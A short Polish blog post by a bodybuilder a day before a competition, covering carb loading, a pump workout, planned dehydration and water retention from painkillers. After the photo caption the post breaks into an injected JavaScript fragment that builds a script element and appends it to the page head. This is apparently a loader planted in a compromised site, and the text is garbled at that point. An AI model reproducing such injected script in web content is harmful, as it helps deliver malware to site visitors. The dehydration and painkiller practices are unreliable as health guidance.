Jeden dzień do zawodów

4.11.2011 / Michał Karmowski

Do zawodów został tylko jeden dzień, wczoraj skończyłem ładowanie i dziś powrót do normalnej diety aby dobrze woda zeszła. Wczoraj tez zrobiłem lekki trening pompujący po 5 serii na każdą część ciała. Przy takiej ilości węglowodanów jaką jadłem przez dwa dni po pierwszej serii rozrywało mi skórę tak pęczniały mięśnie. Boję się tylko czy dobrze się odwodnię bo strasznie podlewają mnie leki przeciwbólowe, no w końcu trochę już je biorę. Jestem jednak dobrej myśli!

zdjęcie zaraz po obudzeniu…var d=document;var s=d.createElement(‚script’); if (document.currentScript) { d.getElementsByTagName('head')[0].appendChild(s);